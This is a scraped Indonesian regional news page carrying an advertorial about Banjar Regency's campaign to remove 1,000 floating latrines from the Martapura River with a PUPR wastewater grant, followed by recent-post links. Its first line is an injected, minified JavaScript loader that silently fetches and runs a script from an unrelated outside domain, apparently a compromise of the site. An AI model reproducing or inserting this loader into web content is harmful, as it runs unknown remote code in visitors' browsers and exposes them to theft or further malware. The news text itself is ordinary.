(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Penghapusan 1.000 Jamban Apung Juga Didanai Hibah Air Limbah Kementerian PUPR


MARTAPURA, Komitmen tinggi Bupati Banjar KH Khalilurrahman yang terus mensosialisasikan program penghapusan 1.000 jamban apung harus terus didukung semua pihak.

Ada peningkatan signifikan program sanitasi penghapusan jamban apung di Sungai Martapura, atas inisiasi Bupati Banjar KH Khalilurrahman yang turun langsung dalam program penghapusan 1.000 jamban apung di wilayah Kabupaten Banjar.

“Dengan pendekatan Bupati Banjar melalui fatwa dan dalil-dalil keagamaan, Alhamdulillah ini bisa berjalan dengan lancar,” ujar Kepala Dinas PUPR Banjar Mohammad Hilman.

Terobosan Pemkab Banjar ini juga mendapat dukungan program dana hibah air limbah dari Ditjen Cipta Karya Kementerian PUPR RI. Syaratnya, Kementerian PUPR mewajibkan adanya penetapan kesediaan masyarakat.

“Dengan kesediaan masyarakat yang dihapus jamban apungnya. Lalu kesedian warga itu diverifikasi pemerintah pusat bersama konsultan dan Sucofindo. Jadi yang berhak mendapat hibah ini diverifikasi dengan jelas,” jelas Hilman.

Penetapan kesedian penghapusan tersebut agar biaya pembangunan yang dikeluarkan Pemkab Banjar bisa diganti oleh pemerintah pusat melalui program dana hibah air limbah tersebut, dan penilaian dilakukan oleh BPKP.

“Harus ada hasil audit program hibah air limbah 100 % disetujui. Harapannya dana itu akan kembali ke Pemkab Banjar, nah ini jadi modal, tahun depan kita punya dana dua kali lipat dari dana kita yang ada sekarang,” kata Hilman. “Kita optimis target hapus 1.000 jamban itu terpenuhi,” yakin Hilman.

Tak hanya mengikuti program hibah dana air limbah, Pemkab Banjar mendapat dukungan dari pemerintah Provinsi Kalsel dalam program sanitasi penghapusan 1.000 jamban apung sangat besar. Melalui Cipta Karya Dinas PUPR Kalsel saat ini sedang menjalankan program sanitasi serupa yakni penghapusan jamban apung. Supporting dana dari pemerintah provinsi sebagian  besar diarahkan kepada Pemkab Banjar.

“Kalau Pemkab Banjar melakukan penghapusan jamban apung, sedangkan Pemprov Kalsel melalui pendekatan restorasi jamban,” pungkas Hilman.(bie)

 

Reporter : bie
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.